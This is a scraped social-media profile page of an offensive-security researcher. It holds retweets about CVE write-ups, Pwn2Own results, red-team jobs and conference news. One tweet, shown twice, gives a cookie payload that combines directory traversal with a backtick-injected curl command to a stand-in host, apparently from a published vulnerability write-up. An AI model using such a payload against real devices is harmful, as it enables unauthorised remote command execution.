Picture

Rio @0x09AL

POC || GTFO Adversary Simulation - @IBM Founder & Organiser - @BSidesTirana github.com/0x09AL https://blog.pwn.al Joined March 2015
  • Tweets
    4K
  • Followers
    6K
  • Following
    1K
  • Likes
    10K
0x09AL Profile Picture

Rio @0x09AL

5 days ago

Bugs on offsec tools are the bane to my existence 🥲

Rio retweeted
MDSecLabs Profile Picture

MDSec @MDSecLabs

6 days ago

New post on the blog… Exploiting CVE-2024-21111 : Local Privilege Escalation in Oracle VirtualBox by @filip_dragovic mdsec.co.uk/2024/04/cve-20…

Rio retweeted
retBandit Profile Picture

Chris Thompson @retBandit

a week ago

Excited to join the @BlackHatEvents USA Review Board for the exploit development, enterprise, & cloud tracks!

0x09AL Profile Picture

Rio @0x09AL

2 weeks ago

Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/ohno`curl${IFS}evil-com`; Read the blogpost though as it's pretty interesting and not a simple stupid directory traversal bug.

watchtowrcyber Profile Picture

watchTowr @watchtowrcyber

2 weeks ago

Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/ohno`curl${IFS}evil-com`; Read the blogpost though as it's pretty interesting and not a simple stupid directory traversal bug.

0x09AL Profile Picture

Rio @0x09AL

3 weeks ago

You know you need a break when you almost sign e-mails with your name rather than your sock puppet name.

Rio retweeted
lcamtuf Profile Picture

lcamtuf (@[email protected]) @lcamtuf

a month ago

"Hobbyists" with this level of skills have fulfilling careers unless they have poor impulse control - and then, well, you know, you end up defacing websites for the lolz.

Rio retweeted
lcamtuf Profile Picture

lcamtuf (@[email protected]) @lcamtuf

a month ago

And more seriously: nobody who isn't paid to do this for a living has the patience and restraint for a two-year long con to get a well-engineered backdoor into a compression library.

Rio retweeted
retBandit Profile Picture

Chris Thompson @retBandit

a month ago

@chompie1337 becomes the first solo female competitor to score a full win at #Pwn2Own!!!

thezdi Profile Picture

Zero Day Initiative @thezdi

a month ago

@chompie1337 becomes the first solo female competitor to score a full win at #Pwn2Own!!!

Rio retweeted
XForce Profile Picture

X-Force @XForce

a month ago

Congratulations to Chompie who scored a win in the Windows 11 LPE category! Her exploit circumvents the latest Virtualization Based Security mitigations. She becomes the first solo female competitor to score a full win at #Pwn2Own, the world’s most prestigious hacking competition

thezdi Profile Picture

Zero Day Initiative @thezdi

a month ago

Congratulations to Chompie who scored a win in the Windows 11 LPE category! Her exploit circumvents the latest Virtualization Based Security mitigations. She becomes the first solo female competitor to score a full win at #Pwn2Own, the world’s most prestigious hacking competition

0x09AL Profile Picture

Rio @0x09AL

a month ago

thezdi Profile Picture

Zero Day Initiative @thezdi

a month ago

https://t.co/PS8x4jEBtw

Rio retweeted
_xpn_ Profile Picture

Adam Chester 🏴‍☠️ @_xpn_

a month ago

New blog post is up... Identity Providers for RedTeamers. This follows my #SOCON2024 talk, and provides the technicals behind the presentation, looking at other IdP's and what techniques are effective beyond Okta. blog.xpnsec.com/identity-provi…

0x09AL Profile Picture

Rio @0x09AL

2 months ago

w00t w00t - having taken the training before, I highly recommend it 🙏

FuzzySec Profile Picture

b33f | 🇺🇦✊ @FuzzySec

2 months ago

w00t w00t - having taken the training before, I highly recommend it 🙏

Rio retweeted
filip_dragovic Profile Picture

Filip Dragovic @filip_dragovic

2 months ago

So apparently MSRC now thinks this is a valid issue 🤔 Lmao

filip_dragovic Profile Picture

Filip Dragovic @filip_dragovic

2 months ago

So apparently MSRC now thinks this is a valid issue 🤔 Lmao https://t.co/VNh04O8kGo

Rio retweeted
_Mayyhem Profile Picture

Chris Thompson @_Mayyhem

2 months ago

I'm pumped to announce the release of Misconfiguration Manager, a knowledge base and how-to for both offensive and defensive SCCM attack path management, that @subat0mik, @garrfoster, and I have been working on! Check it out and let us know what you think! posts.specterops.io/misconfigurati…

Rio retweeted
NetSPI Profile Picture

NetSPI @NetSPI

2 months ago

[Blog] CVE-2024-21378 – Microsoft Outlook Remote Code Execution How we discovered & were able to exploit this vulnerability: ow.ly/L29F50QQ7s4 Written by: Rich Wolferd, NetSPI’s Director of Red Team Operations & Nick Landers @monoxgas

Rio retweeted
FuzzySec Profile Picture

b33f | 🇺🇦✊ @FuzzySec

2 months ago

This past week I was excited to represent Adversary Services (@XForce) at the launch of the new IBM Cyber Range in DC. I did a panel on security and AI, I strongly believe AI is dramatically going to change our industry in a few short years. More details: linkedin.com/feed/update/ur…

Rio retweeted
retBandit Profile Picture

Chris Thompson @retBandit

2 months ago

Come hack with us! I am hiring for operators for our Managed Red Teaming practice. This role delivers "continuous" monthly red team services for clients to a "Targeted" sophistication level, helping them mature their security program on a more frequent basis then our ad-hoc, more…

Rio retweeted
gergely_kalman Profile Picture

Gergely Kalman @gergely_kalman

2 months ago

Full Disclosure time: Here's a quick LPE for macOS that affects you if you have Homebrew installed under /usr/local (Intel macs or Apple Silicon with Game Porting Toolkit) github.com/gergelykalman/… You have to wait for periodic.daily to run, but that's a small price to pay

Rio retweeted
XForce Profile Picture

X-Force @XForce

2 months ago

What happens when you give a Cisco IP phone to our Red Team? They figure out how to trigger a command injection vulnerability (CVE-2023-20087). securityintelligence.com/x-force/cve-20…

Rio retweeted
D1iv3 Profile Picture

Dlive @D1iv3

2 months ago

We can relay back to the same machine using Kerberos relay instead of NTLM relay. I discovered this attack vector more than a year ago. I will describe it in detail in upcoming Black Hat Asia 2024 blackhat.com/asia-24/briefi… and introduce more interesting attacks.

lkarlslund Profile Picture

Lars Karlslund - mucking around with your AD @lkarlslund

2 months ago

We can relay back to the same machine using Kerberos relay instead of NTLM relay. I discovered this attack vector more than a year ago. I will describe it in detail in upcoming Black Hat Asia 2024 blackhat.com/asia-24/briefi… and introduce more interesting attacks. https://t.co/T54yHWXFSt

Trends for United States

Maxey
111 B posts
NYPD
340 B posts
Columbia
1,08 Mn posts
#GoAvsGo
8.298 posts
Knicks
82,7 B posts
Pacers
25,5 B posts
Sixers
61,3 B posts
Pat Bev
5.458 posts
Embiid
62,2 B posts
#Preds
2.723 posts
Game 6
51,5 B posts
Rojas
16,1 B posts
Bucks in 7
2.192 posts
#FearTheDeer
2.732 posts
Brunson
34,1 B posts
Beasley
3.348 posts
Giannis
15,6 B posts
Paul Auster
9.913 posts
Paolo
13,7 B posts
Mobley
9.292 posts

You might like

Consultancy and Training from a trusted supplier of offensive security. Red Team and Adversary Simulation by ActiveBreach team | https://t.co/fqpbJ9WDXD | https://t.co/UvOhGA4Zou
MDSec
@MDSecLabs
14K Followers
Researcher @SpecterOps. Coding towards chaotic good while living on the decision boundary.
Will Schroeder
@harmj0y
46K Followers
Offensive security tools developer. Reverse engineer, vulnerability researcher and ex-MMO game hacker. Creator of Evilginx. @mrgretzky@infosec.exchange
Kuba Gretzky
@mrgretzky
13K Followers
Research at https://t.co/tjfTOllCEu
Adam Chester 🏴‍�..
@_xpn_
32K Followers
CyBeRsEcUrItY | Not afraid to put down with some THICC malware on disk | securing and breaking AI @ProtectAICorp | Ex @spacex
Marcello
@byt3bl33d3r
29K Followers
I like making computers misbehave. Does stuff at https://t.co/YsrVyTjOY7. Mastodon: @tifkin_@infosec.exchange
Lee Chagolla-Christen..
@tifkin_
13K Followers
I don't know how to search on Google so I do research on my own and tweet about it. Hacking as a life style
Mr.Un1k0d3r
@MrUn1k0d3r
12K Followers
Red Teamer | Hobbyist Software Developer | Operator @SpecterOps Developer: Covenant, SharpSploit, PSAmsi
Ryan Cobb
@cobbr_io
11K Followers
Offensive Tooling for Red Teams, Red Teaming and Trainings
Outflank
@OutflankNL
5K Followers
Offensive Security fanatic, Offsec Team lead... pom-pom girl? Who fuckin' cares ??
kmkz
@kmkz_security
18K Followers
Red Teamer | Blogger | Director @pentestlabltd | Mod @ https://t.co/1nzjl9KpSH | https://t.co/mIM1GA1mN4
@[email protected]..
@netbiosX
23K Followers
Red teamer @ Outflank. Passionate about networking and cybersecurity | father of two superheroes.
Cn33liz
@Cneelis
13K Followers
Hacking the planet at https://t.co/ifUgKQtEYV. Buy me a vinyl at https://t.co/SO41y55HJL
spotheplanet
@spotheplanet
11K Followers
意志 / Antiquarian @ IBM Adversary Services / Ex-TORE ⚔️🦅 / I rewrite pointers and read memory / AI Psychoanalyst / Teaching @CalypsoLabs
b33f | 🇺🇦✊
@FuzzySec
32K Followers
IBM X-Force Red @djhohnstein@infosec.exchange
Dwight Hohnstein
@djhohnstein
3K Followers